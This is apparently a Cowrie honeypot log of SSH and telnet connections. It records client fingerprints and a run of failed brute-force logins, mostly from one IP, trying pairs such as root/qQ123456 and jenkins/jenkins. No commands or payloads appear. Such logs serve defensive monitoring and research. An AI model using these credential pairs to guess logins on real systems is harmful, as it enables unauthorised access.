{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:40.216195Z","src_ip":"45.156.87.147","session":"3d58b9fd437b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"dev","message":"login attempt [deploy/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:40.471577Z","src_ip":"45.156.87.147","session":"3d58b9fd437b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:40.638795Z","src_ip":"103.189.235.114","session":"3e1300d1bab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:41.559798Z","src_ip":"45.156.87.147","session":"3d58b9fd437b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43514,"dst_ip":"10.17.0.5","dst_port":22,"session":"8373b943a61f","protocol":"ssh","message":"New connection: 45.156.87.147:43514 (10.17.0.5:22) [session: 8373b943a61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:46.183286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:46.186971Z","src_ip":"45.156.87.147","session":"8373b943a61f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:46.272067Z","src_ip":"45.156.87.147","session":"8373b943a61f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:46.523112Z","src_ip":"45.156.87.147","session":"8373b943a61f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52096,"dst_ip":"159.203.135.109","dst_port":23,"session":"e328f054f5d3","protocol":"telnet","message":"New connection: 128.199.8.54:52096 (159.203.135.109:23) [session: e328f054f5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:46.631683Z"}
{"eventid":"cowrie.session.closed","duration":0.0037398338317871094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:46.635296Z","src_ip":"128.199.8.54","session":"e328f054f5d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:47.613142Z","src_ip":"45.156.87.147","session":"8373b943a61f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.75502157211304,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:49.054494Z","src_ip":"99.227.227.84","session":"1aefc4c21989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44262,"dst_ip":"10.17.0.5","dst_port":22,"session":"eedd7a25d128","protocol":"ssh","message":"New connection: 45.156.87.147:44262 (10.17.0.5:22) [session: eedd7a25d128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:52.643209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:52.647611Z","src_ip":"45.156.87.147","session":"eedd7a25d128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:52.730661Z","src_ip":"45.156.87.147","session":"eedd7a25d128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1234567890","message":"login attempt [deployer/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:52.982417Z","src_ip":"45.156.87.147","session":"eedd7a25d128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:54.067735Z","src_ip":"45.156.87.147","session":"eedd7a25d128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.94734215736389,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:55.113171Z","src_ip":"172.81.62.90","session":"233defa73c47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44276,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3544ab3f008","protocol":"ssh","message":"New connection: 45.156.87.147:44276 (10.17.0.5:22) [session: a3544ab3f008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:58.761533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:58.765817Z","src_ip":"45.156.87.147","session":"a3544ab3f008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:58.848135Z","src_ip":"45.156.87.147","session":"a3544ab3f008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:59.127808Z","src_ip":"45.156.87.147","session":"a3544ab3f008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:00.219742Z","src_ip":"45.156.87.147","session":"a3544ab3f008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60182,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3109c2218f9","protocol":"ssh","message":"New connection: 45.156.87.147:60182 (10.17.0.5:22) [session: f3109c2218f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:05.361583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:05.365985Z","src_ip":"45.156.87.147","session":"f3109c2218f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:05.450513Z","src_ip":"45.156.87.147","session":"f3109c2218f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"123","message":"login attempt [jellyfin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:05.843626Z","src_ip":"45.156.87.147","session":"f3109c2218f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58898,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ae27472b5d0","protocol":"telnet","message":"New connection: 107.6.151.170:58898 (159.203.135.109:23) [session: 0ae27472b5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:06.672728Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:06.948904Z","src_ip":"45.156.87.147","session":"f3109c2218f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42982,"dst_ip":"10.17.0.5","dst_port":22,"session":"78bbfcef1060","protocol":"ssh","message":"New connection: 45.156.87.147:42982 (10.17.0.5:22) [session: 78bbfcef1060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:11.336627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:11.426331Z","src_ip":"45.156.87.147","session":"78bbfcef1060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:11.430507Z","src_ip":"45.156.87.147","session":"78bbfcef1060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:11.765451Z","src_ip":"45.156.87.147","session":"78bbfcef1060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:12.857573Z","src_ip":"45.156.87.147","session":"78bbfcef1060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42986,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a077fdd02c3","protocol":"ssh","message":"New connection: 45.156.87.147:42986 (10.17.0.5:22) [session: 6a077fdd02c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:17.433676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:17.437727Z","src_ip":"45.156.87.147","session":"6a077fdd02c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:17.519418Z","src_ip":"45.156.87.147","session":"6a077fdd02c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:17.782930Z","src_ip":"45.156.87.147","session":"6a077fdd02c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:18.906003Z","src_ip":"45.156.87.147","session":"6a077fdd02c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41634,"dst_ip":"10.17.0.5","dst_port":22,"session":"494e5af593e6","protocol":"ssh","message":"New connection: 45.156.87.147:41634 (10.17.0.5:22) [session: 494e5af593e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:23.381782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:23.504089Z","src_ip":"45.156.87.147","session":"494e5af593e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:23.507147Z","src_ip":"45.156.87.147","session":"494e5af593e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:23.844784Z","src_ip":"45.156.87.147","session":"494e5af593e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:24.934166Z","src_ip":"45.156.87.147","session":"494e5af593e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49548,"dst_ip":"10.17.0.5","dst_port":22,"session":"295a125e47bd","protocol":"ssh","message":"New connection: 45.156.87.147:49548 (10.17.0.5:22) [session: 295a125e47bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:29.566112Z"}
